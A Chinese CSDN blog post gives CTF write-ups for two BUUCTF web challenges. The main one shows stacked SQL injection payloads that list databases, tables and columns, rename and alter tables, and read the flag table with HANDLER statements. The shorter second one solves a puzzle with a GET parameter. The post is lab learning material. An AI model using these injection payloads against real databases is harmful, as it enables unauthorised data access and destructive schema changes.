BUUCTF web类基础 SQL篇(三)

文章讲述了在强网杯2019中,通过SQL注入技巧绕过过滤,利用堆叠注入查询数据库,包括改名表、添加列、handler语句以及get传参的方法,解决了一个web题目。
摘要由CSDN通过智能技术生成

5,[强网杯 2019]随便注

输入1,可看到回显,那么测试下闭合看看。

得到所有回显,看来只有输入这几个数才有回显,那么根据回显来判断下字段显示位置。

 

 

当判断3的时候报错了,可见只有2个回显位,然后就sql注入的基本流程跑一遍咯。

 

使用select报错了,可以看到以下关键字被过滤了,试试绕过。

发现没有办法绕过,只好参考一下百度,发现可以使用堆叠注入,即如下所示:

-1';show databases#

 在查询的语句后使用“;”可以拼接一段sql语句,在联合查询被ban的情况下可以使用“show”指令来查询,查询的数据库结果如下。

那就直接show表好了。

-1';show tables#

可以看到有两个字段,进words的那个里面看看。

words表下的内容。有id,data,两个列,日后会用到。

-1';show columns from `1919810931114514`#

这里有一点,表名为数字的,需要用反引号包起来。

得到flag列,这时候要进入这个字段里去,由于查询语句都需要select,一时又无从下手,这里参考一下别的大佬博客~

 

 这里有三种解题方法,我就挑个自己能理解的讲吧。

1,将words这个表改名成word1或者其他的,将数字名表改名为words,这个不能改别的名,否则会出现这样的报错。

然而只改名,改完以后会出现这样的报错,这个时候结合原words表里的内容得知原表里还有个“id”列,于是我们还需要给新表插入一条名为id的列。

 

 原理可能是这样,它的select语句是 select * from words where id=,所以只能查询到名字为words的表,且其中包含的列得要有id。综合起来使用这段sql语句就行了,与参考博客少了将flag名改为data这一步,但是依旧可以得出结果,主要试错试的多。。。。。


1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key;#
参考payland//
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#


这时候查询1就可直接显示flag了。

到此,还有两种解法,一是通过将select语句进行十六进制编码,然鹅我没有成功。。。。。

二是使用这段语句:

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

handler这条语句使我们能够一行一行的浏览一个表中的数据。所以猜测大致意思是将表打开,然后将其作为下一次读写。

6,[极客大挑战 2019]Havefun

本着一篇博客最少两题的想法,但是上一节篇幅已经不少了,这里就再加一篇简单的wed题吧!

进入靶场,是一只睡觉的小猫,移动鼠标碰它尾巴还会不乐意的摇尾巴。介绍到这,既然作为wed类题,先看源码。

最底下发现了提示,意思大概是让我们用get方式传入一个参数cat,并使cat的参数值等于dog,这时候会输出一个结果,试试吧。

get传参的话可以直接在网址栏输入就行,果不其然,得到flag。

 

 

这题主要还是让我们知道如何使用get传参的用法,下次写几篇难点的wed类的题吧。

 

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值